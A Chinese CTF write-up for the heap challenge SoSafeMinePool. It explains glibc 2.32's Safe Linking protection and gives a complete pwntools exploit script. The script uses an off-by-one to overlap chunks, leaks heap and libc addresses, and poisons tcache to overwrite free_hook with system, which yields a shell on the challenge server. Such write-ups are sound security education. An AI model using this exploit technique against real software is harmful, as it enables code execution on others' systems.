上午在跟着Ben Eater做6502电脑,下午打打CTF放松下,时间不太够,只做了SoSafeMinePool。
TL;DR
off-by-one导致了重叠堆块,利用重叠堆块泄露libc地址及堆地址,再进行AAW修改free_hook为system。
SoSafeMinePool
把四题都下载下来,这题里的附件libc是2.32,恰巧之前稍微了解了下新的保护机制,所以就选这题来做了。当时是为了出点题去研究的2.32,但是发现新的机制对于出题来说,其实依旧只能在漏洞上变着法出,没有什么很新颖的手法啊啥的,基本上就是能泄露堆地址就可以AAW,不能泄露就差不多GG。
保护机制放在后面说,先了解程序功能。由于这题在很多地方用的是浮点数,所以阅读起来很不友好。看到delete函数里的安全删除,可以确定的是没有UAF。然后我就有点懒得去盯着代码看,直接手工fuzz下顺便了解功能。
然后找到了几个漏洞:
- %f可以输入负数
- show/edit/delete可以输入负数
- edit存在一个字节的溢出
直觉就是单字节溢出是出题人故意给的漏洞,当然也想过使用第二个漏洞能不能直接偷鸡,稍微看一下代码就会发现不太可能。找到漏洞后就很简单了,基本上单字节溢出接下来就是利用size来造成堆块重叠,第一件事就是需要先leak一些地址。这里之所以是一些,就是由于glibc 2.32中引入的新的保护机制:Safe Linking。也可以参考聊聊glibc 2.32 malloc新增的保護機制-Safe Linking。
Safe Linking
简单概括一下,在之前的glibc中,tcache和fastbin非常不安全,尤其是像2.27的tcache就危险的离谱。这两个机制都是单链表储存chunk,一个空闲chunk指向下一个空闲chunk。而Safe Linking引入了两个宏
#define PROTECT_PTR(pos, ptr)
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)
PROTECT_PTR (&ptr, ptr)
然后对于在tcache chunk或者fastbin chunk被放入链上的时候,会调用PROTECT_PTR
,在从链上取下来的时候,会调用REVEAL_PTR
,拿tcache的代码举例。当然里面也出现了e->key
这个保护机制,不过是挺久之前的事了,这里就不介绍了。
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
下面举个例子,同一段代码在2.31和2.32的对比:
long *a = malloc(0x100);
long *b = malloc(0x100);
free(a);
free(b);
对于2.31来说,执行第一次free的时候,会做三件事:把key这个field填上tcache结构体的地址,把next这个field填上对应链表的尾部,然后把之前链表的尾部更新为自己的地址。
而对于2.32来说,则是把第二步更换为了:把next这个field填上PROTECT_PTR(&自己, 对应链表的尾部)
。
直接来看看两个版本对于这段代码后的布局
// 2.31
// first free
pwndbg> x/10xg 0x405290
0x405290: 0x0000000000000000 0x0000000000000111
0x4052a0: 0x0000000000000000 0x0000000000405010
// second free
pwndbg> x/10xg 0x405290
0x405290: 0x0000000000000000 0x0000000000000111
0x4052a0: 0x0000000000000000 0x0000000000405010
pwndbg> x/10xg 0x4053a0
0x4053a0: 0x0000000000000000 0x0000000000000111
0x4053b0: 0x00000000004052a0 0x0000000000405010
pwndbg> bin
tcachebins
0x110 [ 2]: 0x4053b0 —▸ 0x4052a0 ◂— 0x0
// 2.32
// first free
pwndbg> x/20xg 0x405290
0x405290: 0x0000000000000000 0x0000000000000111
0x4052a0: 0x0000000000000405 0x0000000000405010
// second free
pwndbg> x/10xg 0x405290
0x405290: 0x0000000000000000 0x0000000000000111
0x4052a0: 0x0000000000000405 0x0000000000405010
pwndbg> x/10xg 0x4053a0
0x4053a0: 0x0000000000000000 0x0000000000000111
0x4053b0: 0x00000000004056a5 0x0000000000405010
可以看到2.32在第一次free时,0x405290的next被写成了PROTECT_PTR(0x4052a0, 0)
。第二次free,0x4053a0的next为PROTECT_PTR(0x4053b0, 0x4052a0)
。后续,如果尝试malloc(0x100)
,程序就会从链尾取chunk,也就是0x4053a0。同时,计算REVEAL_PTR(0x4056a5)
,将原汁原味的指针放回链上,这个计算也就等价于PROTECT_PTR(0x4053b0, 0x4056a5)
。
还有一个小的改动,就是tcache现在需要和0x10对齐(上面的源码里也有一个检查),但是对大多数CTF题目来说好像影响不是很大。
按你胃,这基本上就是2.32的malloc主要的东西。其他我注意到一些安全相关的内容是one_gadget的数量很明显变少了,而且变苛刻了,不再存在可以用栈来达成constraints的地址。还有现在malloc_hook和free_hook在源码里写的是deprecated,估计再过几个版本就要不复存在了。
Back to the mine pool
那么了解到上述的保护机制,也就是说哪怕我们可以修改某个chunk的metadata,(对于fastbin和tcache就是指fd指针),我们也需要去知道一个堆地址才可以,因为我们要假装是用PROTECT_PTR放进去的这个chunk,才可以再下次REVEAL_PTR的时候拿到想要的指针。我们看一下真实放进去的时候是怎么样的:e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
但由于PROTECT_PTR里面使用的是>>12,也就是忽略低三位的地址,用ASLR部分做一个mask,所以我们只要泄露任意的堆地址就可以了。
在这道题中,我们可以用tcache来泄露堆地址。具体做法如下:
add(104) # overflow this
add(0x50) # overwrite this size
add(0x90) # include this
edit(0, "/bin/sh\x00".ljust(105, "\x91"))
delete(1)
add(0x80)
edit(1, "\x00\x00\x00\x00\x00\x00\x00\x00" * 11 + p64(0xa1) + "\x00" * 33)
delete(2)
show(1)
r.recvuntil(p64(0xa1))
r.recv(8)
heap = u64(r.recv(8))
创建三个chunk,第一个用来覆盖第二个的size位。
正常情况:
+-----------+
| CHUNK 1 |
+-----------+
| CHUNK 2 |
+-----------+
| CHUNK 3 |
+-----------+
覆盖CHUNK 2的size为0x91
free掉CHUNK 2
拿回CHUNK 2 (用add 0x90)
+-----------+
| CHUNK 1 |
+-----------+
| CHUNK 2 |
| +-------+ |
| |CHUNK 3| |
| +-------+ |
+-----------+
此时free CHUNK 3,但依旧可以对CHUNK 2操作
然后分别把CHUNK 3放进unsorted bins里泄露libc地址和放进tcache bins里泄露堆地址,最后利用tcache poisoning去拿到free_hook的chunk修改为system即可。
from pwn import *
def debug():
print pidof(r)
pause()
def add(size):
float_size = size / 100.0
r.recvuntil(">> ")
r.sendline("1")
r.recvuntil(")\n")
r.sendline(str(float_size))
def delete(idx):
r.recvuntil(">> ")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def show(idx):
r.recvuntil(">> ")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def edit(idx, content):
r.recvuntil(">> ")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.send(content)
r = process("./minepool", level="debug", aslr=False)
r = remote("183.129.189.60", 10049)
add(104) # overflow this
add(0x50) # overwrite this
add(0x90) # puts this into unsorted
edit(0, "/bin/sh\x00".ljust(105, "\x91"))
delete(1)
add(0x80)
edit(1, "\x00\x00\x00\x00\x00\x00\x00\x00" * 11 + p64(0xa1) + "\x00" * 33)
delete(2)
show(1)
r.recvuntil(p64(0xa1))
r.recv(8)
heap = u64(r.recv(8))
add(0x90)
for x in range(7):
add(0x90)
for x in range(7):
delete(3 + x)
delete(2)
show(1)
r.recvuntil(p64(0xa1))
main_arena = u64(r.recv(8))
libc_base = main_arena - 0x1b7c00
for x in range(8):
add(0x90)
delete(8)
delete(9)
# free hook to system
edit(1, "\x00" * 8 * 11 + p64(0xa1) + p64(heap >> 12 ^ (libc_base + 0x0000000001bab60)) + p64(heap) + "AAAABBBB" * 2 + "A")
add(0x90)
add(0x90)
edit(9, p64(libc_base + 0x0000000000048ce0).ljust(0x91, "A"))
print hex(heap)
print hex(main_arena)
print hex(libc_base)
# debug()
delete(0)
r.interactive()